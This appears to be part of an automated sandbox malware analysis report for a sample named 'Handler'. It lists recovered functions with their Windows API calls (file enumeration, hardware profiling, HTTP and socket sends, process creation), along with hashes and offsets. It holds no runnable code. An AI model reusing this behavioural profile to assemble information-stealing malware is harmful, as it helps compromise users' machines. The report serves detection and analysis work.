API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: cd3aa1e78e9bafe1509456a5680c28c2fd7ad0762637759b60c567d48fb9704d
Instruction ID: f05d9e3c906a89cc39a28d3f1c3c1cdf9eccc8e36dd42beb386d9ba1c5efffb7
Opcode Fuzzy Hash: cd3aa1e78e9bafe1509456a5680c28c2fd7ad0762637759b60c567d48fb9704d
Instruction Fuzzy Hash: 0B21D675E007598FEB51CF68D880AAABBF0BB48200F01856AD959E7311E734AA85CF94

Function 004281A3 Relevance: 1.6, APIs: 1, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0002B95A,?,00000000,00000000), ref: 004281F4

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 9f766c61395a17931d0f1b18f2dfe0ebdacd91c9f8f739b9e91bdfc8bef2e541
Instruction ID: 333401f703d56baabf777b19cb238a4d8652f21cbd007379918289329deaa6e8
Opcode Fuzzy Hash: 9f766c61395a17931d0f1b18f2dfe0ebdacd91c9f8f739b9e91bdfc8bef2e541
Instruction Fuzzy Hash: BD11A1B6340244AFD314DB5CECD1E6AB3E9EFC4209B190539E55AC3361DA34BE18CB28

Function 0040F621 Relevance: 1.6, APIs: 1, Instructions: 55fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 0040F6B3

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: a7703d518600a256b01e6be35bebfad8b62186e0db01ff4d5707e6f2c8d3ec17
Instruction ID: f292f0bd4e0c0730813694860e680219b469247554fa056f98eb1f0cfd166385
Opcode Fuzzy Hash: a7703d518600a256b01e6be35bebfad8b62186e0db01ff4d5707e6f2c8d3ec17
Instruction Fuzzy Hash: D011737A7402048BCB00DF9CDDC1BD973B6BF89314F044668A919DB356DA74EA68CB89

Function 0041FC37 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(?), ref: 0041FC8B

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: d67a27c9b99dd7a5bcb955ccc47490bdb7cbe0b4d5b421f5d9e7404f74ea9cfb
Instruction ID: 567a26385f976fdb7e9c64f1dd9d30ac251e2d642bf6d4e3b564833a4be22e49
Opcode Fuzzy Hash: d67a27c9b99dd7a5bcb955ccc47490bdb7cbe0b4d5b421f5d9e7404f74ea9cfb
Instruction Fuzzy Hash: F2F0F0B66002006FD324EF2DDC81E5B7BA8EBCA714F00413CB25AD3390DA34A904C769

Function 00407189 Relevance: 1.5, APIs: 1, Instructions: 37networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 00407197

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CloseHandleInternet
String ID:
API String ID: 1081599783-0
Opcode ID: 9d7e6391d205012e130f3f3ea228e23d68f5f77aea07e94926cd98718c3223a4
Instruction ID: 3adff67efb32840669713f8a0c5f684ed6112579c969e8e8afcce97dc2c94f89
Opcode Fuzzy Hash: 9d7e6391d205012e130f3f3ea228e23d68f5f77aea07e94926cd98718c3223a4
Instruction Fuzzy Hash: 97018CB6A001449FCF04CB98DC90F9E73B9EFC9340B144024E819F7711D639AE018BA4

Function 0041E72C Relevance: 1.5, APIs: 1, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 0041E772

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c54d81fddacd2cbff03315d3c59634262e4f9b4b6c041cf71a0d5c63e95615ea
Instruction ID: d4df36f3ae977bccc1e53b7daa7ccb0c4da166d2c3dacc872dafca06065db198
Opcode Fuzzy Hash: c54d81fddacd2cbff03315d3c59634262e4f9b4b6c041cf71a0d5c63e95615ea
Instruction Fuzzy Hash: C8F06276B447099BC700EF69DC80A1A77E9EF89609718803CA46183362DA70AD1ACB58

Function 0040785A Relevance: 1.5, APIs: 1, Instructions: 36networkCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET ref: 0040788B

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: 128fc794dd7df37090889cde7c700cc9ebf5d29e3d1e2b8f998b75ac21f5148c
Instruction ID: bf0f034a3dd850cf0cb564b24178683266c6b6b51357b7988c54eadef3e04e74
Opcode Fuzzy Hash: 128fc794dd7df37090889cde7c700cc9ebf5d29e3d1e2b8f998b75ac21f5148c
Instruction Fuzzy Hash: 74F0AF766002859BD314DF38EC91FAA73E9EB8E304F058668B615D72D2EA30AD50CB14

Function 00401124 Relevance: 1.5, APIs: 1, Instructions: 35registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(?,?,00000000,00020119), ref: 0040116F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 3fdf45d8cf678b361a808c94b8cc7572885393971de760a12fde78d5daa8ab18
Instruction ID: f3b03884cb52d199f356ad5dd5f3a1ff2906ecf3ed5d74594d059c0442db3dd9
Opcode Fuzzy Hash: 3fdf45d8cf678b361a808c94b8cc7572885393971de760a12fde78d5daa8ab18
Instruction Fuzzy Hash: 07F05EB5304204AFD304EB29EC96E2F76AEEBC629CB09412CF645D7251CAB09D109725

Function 00409D4A Relevance: 1.5, APIs: 1, Instructions: 35networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,?,00000010), ref: 00409D9B

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: a0b9c6951ddee27bfd121741c426206ffc976de5c3bda4e77bf4ae948fd768d7
Instruction ID: 1c76ee57f995fb73f56d176aba3e3fe730563ee54a1c86628c8c5cf679eeabc3
Opcode Fuzzy Hash: a0b9c6951ddee27bfd121741c426206ffc976de5c3bda4e77bf4ae948fd768d7
Instruction Fuzzy Hash: D0014678240300DFD328CF59DD84E1AB3E6AF88304B18882DA5AAC7392C678E804CB19

Function 0040658C Relevance: 1.5, APIs: 1, Instructions: 34networkCOMMON

Download Yara Rule

APIs

HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 004065D3

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: HttpRequestSend
String ID:
API String ID: 360639707-0
Opcode ID: b5efd7d13abf80949e0d98f68c3f819bcdfda6731efe7baf540d0d921052d973
Instruction ID: db716060e8ae9f8fcc5e862a0cebcb454ceb0093ee65c84773531da29eefcbe9
Opcode Fuzzy Hash: b5efd7d13abf80949e0d98f68c3f819bcdfda6731efe7baf540d0d921052d973
Instruction Fuzzy Hash: E5F0F9B6B01115DFCF08CBA8DC9097EBBB6BF89254718002DA406D33A1CA305C11DB48

Function 0040BC40 Relevance: 1.5, APIs: 1, Instructions: 32fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 0040BC81

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 94c759a8ce41bf2e0de2e2b8980983596a01c6efcb84545c265453e26e10f652
Instruction ID: 6670c946d57bb98f83207a2e2a4dd8fc4f459805bc578e4bde3d9dfa9d5bd7d2
Opcode Fuzzy Hash: 94c759a8ce41bf2e0de2e2b8980983596a01c6efcb84545c265453e26e10f652
Instruction Fuzzy Hash: ADF0F631A043058BC304EF2CDD8095577F1FFC5614F44852CE88483262EA30EA56C7C6

Function 00428B6F Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 00428B8D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 1cbed7a68a4fd64f4a3c6965399a7e26c25b9176cb7031c005de184faee0bea6
Instruction ID: 9528cd4afdda23467e0083a937059f108ced78d3526648939f428abbaa092546
Opcode Fuzzy Hash: 1cbed7a68a4fd64f4a3c6965399a7e26c25b9176cb7031c005de184faee0bea6
Instruction Fuzzy Hash: D5F0E277E00149AFEF01CB88EC90ADC77B5EB91204F054071E919E3260D739AE4A8F84

Function 00409CA9 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(00000000,00000000,?,?), ref: 00409CF5

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 9578f0d61e1449aacc03a36e68f72606a615a669d3faf548841a9fdb8cf3b8d6
Instruction ID: 05f6202e1bc20cb4b29bb86db7e74d39b969980e396a867aade4093ea41b7757
Opcode Fuzzy Hash: 9578f0d61e1449aacc03a36e68f72606a615a669d3faf548841a9fdb8cf3b8d6
Instruction Fuzzy Hash: 4DF06DB1A44344DFE710CF64CCC4B9AB7E4FF85308F05C529A858D7202E7B4A9948B51

Function 00413142 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0041315E

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 8c1172f1069cd386c8498d50835f691b8d700a6194f4737e5d350dae5d27791d
Instruction ID: 23ef3dd95bf6a0164c47cf999acec1c42eb63bf94e27a0aeafc3b0acf90d2c1f
Opcode Fuzzy Hash: 8c1172f1069cd386c8498d50835f691b8d700a6194f4737e5d350dae5d27791d
Instruction Fuzzy Hash: 75F0A0BAB405648BCB09D758DCA1ABC37E3ABC9305B080059C905A7751CA786D61DA4D

Function 0040B98E Relevance: 1.5, APIs: 1, Instructions: 26processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32 ref: 0040B9D1

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: b8df199aab9badff020bc2b1227722152c72f420ecf84555ae2651d7957e55b5
Instruction ID: 8b4a8257022abbb41a3118302225be22bdba0b02c73ba330e27b8c205def3af7
Opcode Fuzzy Hash: b8df199aab9badff020bc2b1227722152c72f420ecf84555ae2651d7957e55b5
Instruction Fuzzy Hash: E8F0F9B5A087018BD70CDF29C9906A9B7F0BF9D304F00C96DA899D3361EA30DA45CF05

Function 00412EF8 Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00412F23

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 2954db867639c53f90c80a99d2f2c9786d5699ed2f9d976f1843ad7852b205c3
Instruction ID: b7c71d53dac44b228edffe1a05e153bdbe68826ecec0f01bcc8b446e4b1f0614
Opcode Fuzzy Hash: 2954db867639c53f90c80a99d2f2c9786d5699ed2f9d976f1843ad7852b205c3
Instruction Fuzzy Hash: 0AF030BAB001058FD748CB6CDC91B9D73E7EFD8309B184128A405D7365EA71ED56CB44

Function 0040C871 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C89C

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: d14a2ba5cc82fcc1864902cf64a2bea3494f77a9fcd36c36f244b44799870a20
Instruction ID: 1daf45191db6c52babe1fe8c8a27866bb4fb13e0f71ca1e9aaeaddf3e781aff4
Opcode Fuzzy Hash: d14a2ba5cc82fcc1864902cf64a2bea3494f77a9fcd36c36f244b44799870a20
Instruction Fuzzy Hash: 63E06DBAB412008BC71CFF68ECA4F6A33A5EB96740B08402CA802C33D4DD609911CA4A

Function 0040A36D Relevance: 1.5, APIs: 1, Instructions: 24networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,00000000,00000000,00000000), ref: 0040A398

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: c86cb437a16923ba70a9f6b55ded9f8956fbf0d8b58b57c2774321bcb1cc0512
Instruction ID: f7f0187726c946ab94bd7783febf1ef7e1263ef785280c0f7cc2a8f968373833
Opcode Fuzzy Hash: c86cb437a16923ba70a9f6b55ded9f8956fbf0d8b58b57c2774321bcb1cc0512
Instruction Fuzzy Hash: 6AE09275380200DFD750EB6CCC80B2933E5AB88358F040524F225D73E2C638AE518B5A

Function 004095F3 Relevance: 1.5, APIs: 1, Instructions: 24filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000FFF,?), ref: 004095AA

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 8ddbed3e19b3c5e16b329f61f458e941262536b44169388930885874bfec931b
Instruction ID: 793b8917542ee9cb27708f1ec57fc827c82194574f1446412d7664dbd63c4935
Opcode Fuzzy Hash: 8ddbed3e19b3c5e16b329f61f458e941262536b44169388930885874bfec931b
Instruction Fuzzy Hash: 14E0657A348201EFD340CB5DDC84F6AB3E89B88644F180428A00AC3392CA74EC00DB2A

Function 0041FE65 Relevance: 1.5, APIs: 1, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32 ref: 0041FE9F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Enum
String ID:
API String ID: 2928410991-0
Opcode ID: 7e85817e22f138c02c453e3c8736ecf73058679fe76b3fc0f0587abf6011d14e
Instruction ID: 05a1160b0d36b77b328343130d452bea134fcae93cfb3c47e4085434c63e978c
Opcode Fuzzy Hash: 7e85817e22f138c02c453e3c8736ecf73058679fe76b3fc0f0587abf6011d14e
Instruction Fuzzy Hash: 51F08270A183459FDB08DF29C894569B7E1BFC8314F14C92EE89A47354F770A885CB86

Function 00413263 Relevance: 1.5, APIs: 1, Instructions: 23fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE(?,?), ref: 00413298

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 15c4ffbb12baafcaac6dc899ca935e25643eb30cf0bd71265adac321ad7158ee
Instruction ID: c6d18ff3661babe7afd2bf8597fec0b91fd64dfa3a206f198322a9390ae50d2e
Opcode Fuzzy Hash: 15c4ffbb12baafcaac6dc899ca935e25643eb30cf0bd71265adac321ad7158ee
Instruction Fuzzy Hash: 2DF01CB6B4010A8BCB05CB58DD91BDC33B5EF58204F140128D909D7261EA31BE158F54

Function 0042C391 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 0042C39D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 011e9bd8fc71e4e42e049cef734956ce052094584bd460ef50def60e2692713a
Instruction ID: 6d828852da939186bf56a3799f9f6520df9f02f76987a01fc32ecadda15bd6d6
Opcode Fuzzy Hash: 011e9bd8fc71e4e42e049cef734956ce052094584bd460ef50def60e2692713a
Instruction Fuzzy Hash: FAE09276B801049BE315C789EC90F7973A6AFC9300F6940399616C73D2CE74AC05876C

Function 00409580 Relevance: 1.5, APIs: 1, Instructions: 23filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000FFF,?), ref: 004095AA

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 0b13a4c9756e6dbc5a3b479240f144414e6dfb9d172209e6f6427846867f8471
Instruction ID: 282d77582df1dc03db1effc52c008eafb25d4b73df9bbd85ee4dda3fdaa0c12f
Opcode Fuzzy Hash: 0b13a4c9756e6dbc5a3b479240f144414e6dfb9d172209e6f6427846867f8471
Instruction Fuzzy Hash: 41E0DF7A344001EFC384CB5CDC85EAA33E9AF842047180579B80AC73A2EB70ED19CB08

Function 0040C924 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

PathFileExistsA.SHLWAPI(00000000), ref: 0040C94F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 20f0f2f987cdd6fd5d78be4d92f2ad059cd5cf2e3368b0de4e59f1860672bcd1
Instruction ID: a0ac7273f53d20d96c15c6bff5cc153122d5beba8fb7721ef6fb638b5fbe53e8
Opcode Fuzzy Hash: 20f0f2f987cdd6fd5d78be4d92f2ad059cd5cf2e3368b0de4e59f1860672bcd1
Instruction Fuzzy Hash: 40E09276B002058FC788FB9CDCE4F6933E4EB46204B04003C9906D3351DA289D16CB48

Function 00407751 Relevance: 1.5, APIs: 1, Instructions: 22networkCOMMON

Download Yara Rule

APIs

InternetConnectA.WININET ref: 00407787

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: b95de7b108c177cff31b336e0a3386d780ae9b85be1aeec919afe5d5e6169278
Instruction ID: 1446014fd0c9d4017d764f9b938a641aa2b32dcb309b268e3664a91dcaf54a16
Opcode Fuzzy Hash: b95de7b108c177cff31b336e0a3386d780ae9b85be1aeec919afe5d5e6169278
Instruction Fuzzy Hash: 62F0A034E093418BC314CF69D54062AB7F2BFD9305F15C62DE85887364EA309C91CF41

Function 00422B74 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExA.KERNEL32(?,00000000,?,00000104), ref: 00422B84

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 52b15660bd697938981da5ee73889311184e970823131d8a2279e521e5bee4fd
Instruction ID: 69e6cde24125f6890367141ee933c78470dc6f28d39b691ac87247349ccaad8d
Opcode Fuzzy Hash: 52b15660bd697938981da5ee73889311184e970823131d8a2279e521e5bee4fd
Instruction Fuzzy Hash: ABD05E763801082BE600F74FFCC1FBA33A8FB83ABCF080035F288C3280C559A8994169

Function 00421B88 Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008), ref: 00421BA2

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 793ce0ae4f8bb3d1bb642a415763f876b6cd25f1444373563aa98e422428ced6
Instruction ID: 026f7c298e305e7d7ce455381b0712138cb142cdf70c581b58335424dd276684
Opcode Fuzzy Hash: 793ce0ae4f8bb3d1bb642a415763f876b6cd25f1444373563aa98e422428ced6
Instruction Fuzzy Hash: C2E0DF756002028BC304CF69DC90E1A33E4FF85310B05007DA801D3361CB34EC45CB88

Function 0040C975 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 0040C9A9

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3fb8d76a0d4f9672b6b9978df7dcd38b4171413283df2e9b1cfd581a8d4a8782
Instruction ID: 79fb95547d5fdbe54a16516f1546399437a45ab7f8c97ea9a6881ddec385e781
Opcode Fuzzy Hash: 3fb8d76a0d4f9672b6b9978df7dcd38b4171413283df2e9b1cfd581a8d4a8782
Instruction Fuzzy Hash: 46F03971944241CBE740EF6CEC8476977F0FB94314F14462CE894D72A1DB7499998B4A

Function 0040CAD1 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0040CAEC

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1fe233bd45b73fb4e76dadc43ffb76967d15a1422c2845191ef2c301cb6acfbd
Instruction ID: 8f33944eb265aadd8b99b5613bb51d2a6a1012877fb87abd0653211fac53b3bf
Opcode Fuzzy Hash: 1fe233bd45b73fb4e76dadc43ffb76967d15a1422c2845191ef2c301cb6acfbd
Instruction Fuzzy Hash: CFE04870B412069FC704EFA5CD84F96B7B6FF84644F548568D401D7159EA719806C794

Function 00407577 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00407595

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d5a124b95e8bc4c3e1f3e95d3fb65c91abebdf14dc202bef6a08ef83a9e7944e
Instruction ID: 963582a35b66bed99ea66d0bc2acf321a401b6ea9db6545d1c7eb55d2b29d0a8
Opcode Fuzzy Hash: d5a124b95e8bc4c3e1f3e95d3fb65c91abebdf14dc202bef6a08ef83a9e7944e
Instruction Fuzzy Hash: F6E04F7270020A9FDB44CF94DD90EA673BBEFC4304F1444689105E7261DA70AD06DB94

Function 00421992 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004219B0

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6ad2aecadb6b92fef9065b430b3f00a23771f5bd5df6e859b6afbc5f368a2d2c
Instruction ID: 1cc98b9c078abeda64e2b049747d0090427da3c271b2c9e07a9196400bb093bd
Opcode Fuzzy Hash: 6ad2aecadb6b92fef9065b430b3f00a23771f5bd5df6e859b6afbc5f368a2d2c
Instruction Fuzzy Hash: 88E0C2BF2002509FC310CB6ADC4085E772BFBC223032E0518E421D33E0D638E9028AA8

Function 0040BD53 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0040BD73

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 24114e56f6486e8bfd70d2abaa09d7b493a70cea7421b2c08c96600f2418ed62
Instruction ID: 7de03404172e5aabe1c443ce8fe071b09326cd08ca7e4df849f82930eaead7d2
Opcode Fuzzy Hash: 24114e56f6486e8bfd70d2abaa09d7b493a70cea7421b2c08c96600f2418ed62
Instruction Fuzzy Hash: 1BE0467A280301AFEB04DF50CCC0F2AB372FB8A720B14C058EC008B266E734E811AF60

Function 0041EFEF Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0041F011

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 1bb8bf45926aeb78dc0df2a22b1925beb13621fe846422212df0629430937606
Instruction ID: 8b1b12d0e7ad679d432470b63cf508538332a85973f9a3fcf61e176a271b0cc5
Opcode Fuzzy Hash: 1bb8bf45926aeb78dc0df2a22b1925beb13621fe846422212df0629430937606
Instruction Fuzzy Hash: 37E0C27A3002058BD324EF28DC90E9BB769AF97340F21842CBD4187351EA32EC088B91

